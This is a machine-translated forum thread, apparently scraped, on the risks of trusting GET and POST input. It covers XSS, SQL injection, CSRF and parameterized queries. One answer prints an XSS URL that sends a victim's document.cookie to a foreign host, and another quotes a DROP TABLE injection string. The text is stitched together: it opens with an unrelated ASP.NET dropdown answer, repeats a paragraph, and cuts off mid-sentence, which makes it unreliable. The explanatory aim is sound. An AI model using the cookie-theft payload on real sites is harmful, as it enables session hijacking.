каковы уязвимости в прямом использовании, ДОБИРАЮТСЯ и POST?
Я врезался в ту же проблему, нашел этот вопрос и думал, что решение, предоставленное Ash, не было тем, что я искал; Необходимость создать HTML самостоятельно означает меньше гибкости по сравнению со встроенным Html.DropDownList() функция.
Оказывается, что C#3 и т.д. делает это довольно легким. Я имею enum названный TaskStatus:
var statuses = from TaskStatus s in Enum.GetValues(typeof(TaskStatus))
select new { ID = s, Name = s.ToString() };
ViewData["taskStatus"] = new SelectList(statuses, "ID", "Name", task.Status);
Это создает старое доброе SelectList, который может использоваться как, Вы привыкли к в представлении:
<td><b>Status:</b></td><td><%=Html.DropDownList("taskStatus")%></td></tr>
анонимный тип и LINQ делают это настолько более изящным, по моему скромному мнению. Никакое предназначенное преступление, Ash. :)
8 ответов
In general, and not limited to GET and POST but also to any data that comes from outside the system (including cookies in the case of web applications):
Almost all vulnerabilities come down to "The user can run whatever code they like in the context you pass their input to".
- If you pass it to an SQL database, they can run any SQL they like.
- If you pass it to an HTML document, they can add any markup they like (including JavaScript)
- If you pass it to the system shell, they can run any system command they like.
- If you open a file with the name they pick, they can open any file they like. и т. д.
Вам нужно подумать о том, что вы делаете с данными. Поиск списка возможных вещей, которые могут пойти не так при приеме испорченного ввода в любую систему в мире, не приведет к исчерпывающему списку.
И в качестве отступления: забудьте о дополнительных чертах (это неэффективно), забудьте mysql_real_escape (с ним слишком легко ошибиться). Используйте параметризованные запросы: Как я могу предотвратить SQL-инъекцию в PHP?
Самая простая возможная атака XSS с небольшим количеством социальной инженерии
Предположим, у вас есть простое приложение PHP, которое использует сеансы для отслеживания пользователей. И у него есть своего рода административный интерфейс, где пользователи с более высокими привилегиями могут позволить, скажем, редактировать контент.
И, допустим, вы вошли в систему как администратор этого сайта и что внутри этого приложения есть файл request.php со следующим фрагментом кода
echo $GET['action'];
И теперь кто-то обнаруживает это, создает следующий URL-адрес http: //yourapp/request.php? action = document.location.href = ' http: //foreignsite?c=[1133459 provided'+document.cookie
Затем этот кто-то добавляет этот URL-адрес на tinyurl.com, что сокращает его до вида http://tinyurl.com/x44534 , затем он отправляет вам электронное письмо со словами "эй, php успешно выводит Javascript из запроса, ваш браузер видит его, выполняет, и в результате человек, который запускает http: // foreigns , получает все ваши файлы cookie.
Затем ему просто нужно вставить эти значения cookie в свой браузер, и вуаля, у него есть мгновенный доступ к интерфейсу администратора вашего сайта. Потому что он получил ваш файл cookie сеанса.
Здесь описана простейшая из возможных атак XSS, она действительно упрощена, вероятно, не будет работать в реальной жизни, но, надеюсь, вы получили общее представление о том, как она работает.
php успешно выводит Javascript из запроса, ваш браузер видит его, выполняет, и в результате человек, который запускает http: // foreigns , получает все ваши файлы cookie.Затем ему просто нужно вставить эти значения cookie в свой браузер, и вуаля, у него есть мгновенный доступ к интерфейсу администратора вашего сайта. Потому что он получил ваш файл cookie сеанса.
Здесь описана простейшая из возможных атак XSS, она действительно упрощена, вероятно, не будет работать в реальной жизни, но, надеюсь, вы получили общее представление о том, как она работает.
Он распространяется не только на «получить» или «опубликовать». Все зависит от программирования, которое вы сделали для их поддержки. Если вы просто обслуживаете статическую html-страницу, не так много уязвимостей. С другой стороны, если вы настраиваете и изменяете данные с помощью запросов на получение, уязвимости могут быть бесконечными, просто просмотрите случаи, когда бот Google удаляет данные из мест, которые использовали «get» для отправки.
Все зависит от того, для чего вы используете данные, а получение и установка уязвимостей ограничены. Очистите свои входы.
Как люди уже писали, любой пользовательский ввод должен рассматриваться как вредоносный , независимо от того, насколько безопасно вы себя чувствуете.
Разработчики думают о защите кода во время его написания и когда они вносят изменения, в то время как хакеры думают о том, чтобы испортить этот код всякий раз, когда они решают взломать его, что может быть сегодня, завтра или через два. лет. То, что могло показаться совершенно безопасным в то время, когда был написан код, может оказаться пригодным для использования в какой-то более поздний момент.
По сути, весь ввод должен быть отфильтрован, исследован и очищен религиозно, независимо от того, для чего он используется в любой момент времени. . Кто-то может пропустить дезинфекцию части пользовательского ввода, потому что «она не будет использоваться ни для чего, что может причинить вред», а затем через 11 месяцев, - знать, какие типы ввода вы ожидаете, и соответствующим образом конвертировать пользовательские данные, идентификаторы обычно являются целыми числами, поэтому можно безопасно преобразовать все отправленные пользователем идентификаторы как целые числа. - знайте, когда вы ожидаете небольших объемов данных, а когда вы ожидаете больших. Личные имена обычно относительно короткие и не содержат цифр, «1»; DROP TABLE клиенты; » не настоящее имя, и вы можете знать это без добавления косой черты.
затем занесите в черный список на всякий случай - примените стандартную логику экранирования ко всем данным, прошедшим через ваш белый список, на всякий случай
затем отфильтруйте и проверьте еще несколько - пока вы не почувствуете себя в безопасности
Данные GET и POST - это данные, напрямую отправленные пользователем. Вы получаете его в сыром виде, без каких-либо проверок или валидации между пользователем и вашей программой. Даже если вы должны проверить форму, которая должна исходить от данных, злоумышленник может вручную сформировать запрос с любыми данными, которые он хочет. Поэтому вы всегда должны относиться к данным запроса как к ненадежному вводу пользователя.
Существует ряд атак, основанных на том, что кодер забывает, что данные запроса ненадежны, но самая известная - это SQL-инъекция. Основная причина внедрения SQL - это создание запроса путем ручного объединения строк, некоторые из которых являются ненадежным вводом пользователя. Это означает, что вы указываете своей базе данных выполнять ввод, вводимый ненадежным пользователем.
Наивное решение SQL-инъекции состоит в том, чтобы проверить вводимые данные и затем объединить их в строку запроса, но это тоже плохая форма. Вы полагаетесь на свою логику проверки, чтобы сделать строку безопасной, и если вы неправильно ее используете - или логика ошибочна - вы снова подвергаетесь атакам.
Правильное решение - отделить ваш запрос от данных это содержит. Практически все адаптеры баз данных поддерживают этот подход, и если ваш по какой-то причине не подходит, он не подходит для использования. Самая распространенная идиома (ни на одном конкретном языке):
myDB.query ("select * from Stuff where id =?", [42]);
Это гарантирует (в такой системе), что параметры не выполняются. Строка запроса состоит из полностью доверенных данных, а ненадежные данные отделены. В худшем случае такой подход, применяемый к неправильному вводу, может привести к неверным данным, а не к неправильной команде.
Такой подход к предотвращению внедрения SQL-кода подчеркивает центральный принцип, который применяется ко всем видам атак на данные запроса: данные запроса не ваши и небезопасны. При обработке любого пользовательского ввода, включая данные запроса, всегда предполагайте, что он исходит от злоумышленника, хорошо знакомого с вашей системой. Это может показаться параноидальным, но это защищает вас.
Все суперглобальные переменные могут управляться пользовательскими агентами. $ _SERVER, $ _POST, $ _GET и т. Д.
Если вы берете любую переменную GET или POST и эффективно "выполняете" ее, не пропуская ее через фильтр В некотором роде вы открываете себя для инъекционных атак. SQL-инъекция, очевидно, очень распространенный случай, но если вы выполняете какой-либо вид eval () с этими данными (на языке программирования,
в основном CSRF, XSS и обход каталогов:
http://en.wikipedia.org/wiki/Cross-site_request_forgery